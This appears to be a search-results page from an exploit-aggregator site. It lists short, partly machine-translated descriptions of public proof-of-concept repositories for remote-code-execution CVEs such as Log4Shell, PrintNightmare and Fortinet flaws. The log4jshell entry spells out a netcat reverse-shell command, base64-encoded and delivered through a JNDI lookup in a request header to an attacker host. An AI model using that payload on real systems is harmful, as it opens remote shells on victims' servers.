270150 matches found
DS-Wireless-Communication-Remote-Code-Execution
Exécution de code à distance dans la communication sans fil DS Injecte du code arbitraire dans le jeu d'un client. Prérequis Python 3.10 pip pydivert Utilisation root@kitploit: pip install -r requirements.txt python dswirelesscommunicationremotecodeexecution.py ID CVE CVE-2023-45887 Licence GNU...
CVE-2018-15133-PoC
CVE-2018-15133-PoC ينفّذ هذا السكربت المكتوب بلغة بايثون استغلالًا لتنفيذ التعليمات البرمجية عن بُعد RCE لتطبيقات Laravel المعرّضة للخطر عبر إلغاء التسلسل غير الآمن، استنادًا إلى الثغرة الأمنية CVE-2018-15133. يستغل هذا الاستغلال ثغرة أمنية في Laravel الإصدارات 5.5.40 وما قبلها، ومن 5.6.0 حتى...
PrintNightmare
PrintNightmare هذا مشروع سيساعد في مكافحة الثغرة الأمنية في ويندوز PrintNightmare! CVE-2021-34527 يجب أن تعلم أنه تم إصدار تصحيح من مايكروسوفت ضد هذه الثغرة، لكنه ليس فعالاً بشكل كامل، فهو يكافح فقط RCE تنفيذ التعليمات البرمجية عن بُعد بينما لا يزال LPE رفع الامتيازات المحلية يعمل للمهاجمين...
CVE-2025-32756-POC
CVE-2025-32756: برهان مفهوم RCE لـ Fortinet برهان مفهوم للثغرة الحرجة من نوع تجاوز سعة المخزن المؤقت المبني على المكدس CVE-2025-32756 التي تؤثر على منتجات Fortinet. الثغرة CVSS : 9.8 حرجة النوع : تجاوز سعة المخزن المؤقت المبني على المكدس في معالجة ملف تعريف الارتباط AuthHash التأثير : تنفيذ أوامر...
cve-2019-11043
Vulnérabilité d'exécution de code à distance PHP CVE-2019-11043 1. Contexte Le 26 septembre, PHP a publié un avis de vulnérabilité, indiquant que les serveurs utilisant Nginx + php-fpm, sous certaines configurations, présentent une vulnérabilité d'exécution de code à distance. Cette configuration...
CVE-2020-7931
CVE-2020-7931: استغلال SSTI في Artifactory Pro CVE-2020-7931 هو إلى حد ما ثغرة تكوين خاطئ مقصودة في Artifactory تسمح للمهاجمين بإجراء حقن القوالب من جانب الخادم من قالب FreeMarker. تم اكتشاف الثغرة بواسطة Ryan Hanson من Atredis وتم إصلاحها لجميع الإصدارات المتأثرة في أواخر 2019. ستعمل فقط على...
CVE-2019-7216
CVE-2019-7216 Dans filechucker.cgi version 5.09 et filechuckerprefs.cgi version 4.99e-free-e02, il existe un contournement du filtre, lors du téléversement, qui peut conduire à une exécution de code à distance si l'utilisateur téléverse un fichier malveillant. Le contournement se produit lorsque...
CVE-2018-3191
Weblogic-CVE-2018-3191 ثغرة تنفيذ الأوامر البرمجية عن بُعد بيئة weblogic لـ Docker 0x00 مقدمة في 17 أكتوبر بتوقيت بكين، قامت Oracle بإصلاح ثغرة عالية الخطورة لتنفيذ الأوامر البرمجية عن بُعد في WebLogic CVE-2018-3191 في تحديث التصحيح الحاسم لشهر أكتوبر Critical Patch Update. تسمح هذه الثغرة...
Log4j2-CVE-2021-44228
CVE-2021-44228 Injection de code à distance dans Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml utilisation par défaut : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...
CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check
CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check تحقق مما إذا كان جدار الحماية الخاص بك معرضًا لـ CVE-2024-21762 RCE بدون مصادقة لمزيد من المعلومات حول الثغرة: https://cuty.io/TKyfFh اشترك أو انضم إلى وسائل التواصل الاجتماعي الخاصة بي لمزيد من HACKING!! تعلم كيفية اكتشاف الثغرة وحماية شركتك فيدي...
Wing-FTP-Server-7.4.4-RCE-Authenticated
Wing FTP Server 7.4.4 - Exécution de code à distance Authentifié CVE-2025-5196 Wing FTP Server fournit une console de script Lua administrative accessible via son interface web. Les administrateurs authentifiés peuvent exécuter du code Lua arbitraire avec un sandboxing insuffisant. Version affect...
CVE-2021-46422_RCE
CVE-2021-46422 RCE Installation root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt Placez CVE-2021-46422 RCE.py dans le répertoire pocsuite3\pocs cd pocs Utilisation de pocsuite3 URL unique : root@kitploit: pocsui...
CVE-2022-1388-rs
CVE-2022-1388-rs ماسح ضوئي وقشرة تفاعلية لثغرة CVE-2022-1388 في F5 BIG-IP iControl REST لتجاوز المصادقة وتنفيذ الأوامر عن بُعد، مكتوب بلغة Rust ملخص للتلخيص، فيما يلي نظرة عامة على الشروط اللازمة لطلب استغلال هذه الثغرة: يجب أن يتضمن ترويسة Connection القيمة X-F5-Auth-Token يجب أن تكون ترويسة...
CVE-2022-42889-PoC
CVE-2022-42889 المعروفة أيضًا باسم Text4Shell إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد RCE Text4Shell هو الاسم الشائع لثغرة برمجية حرجة تم اكتشافها في مكتبة Apache Commons Text انظر CVE-2022-42889. يهدف هذا المستودع إلى توضيح تنفيذ التعليمات البرمجية عن بُعد RCE يستغل هذه الثغرة CVE. يتم...
CVE-2024-38856_Scanner
CVE-2024-38856 Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. Вся ответственность лежит на вас. CVE-2024-38856: сканер и эксплойт для удалённого выполнения кода в Apache OFBiz Анализ CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce Э...
CVE-2021-22005_PoC
CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e vérification: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...
log4jshell_CVE-2021-44228
log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir en Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Preuve de concept Log4j P...
EvilRip
Cve-2020-5029-finder إنه سكربت صغير لجلب النطاقات الفرعية/عناوين IP المعرضة لثغرة CVE-2020-5902 مكتوب بلغة bash. الإصدار المتأثر في إصدارات BIG-IP 15.0.0-15.1.0.3، و14.1.0-14.1.2.5، و13.1.0-13.1.3.3، و12.1.0-12.1.5.1، و11.6.1-11.6.5.1، تحتوي واجهة إدارة حركة المرور TMUI، التي يشار إليها أيضًا باس...
CVE-2021-27850_POC
CVE-2021-27850 Exploit Overview CVE-2021-27850 is a critical unauthenticated remote code execution vulnerability that was found in all recent versions of Apache Tapestry, by downloading the AppModule.class file we can leak the HMAC Secret key used to sign all the serialized objects in apache...
CVE-2024-38063
CVE-2024-38063 — ثغرة في مكدس IPv6 في ويندوز تحليل وإثبات المفهوم -red تحليل تقني وإثبات مفهوم PoC لـ CVE-2024-38063 ، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE في مكدس IPv6 في ويندوز tcpip.sys. تم اكتشافها بواسطة مختبر كونلون، وهذه المشكلة هي صفر نقرة ، مما يعني أنه يمكن تشغيلها بواسطة...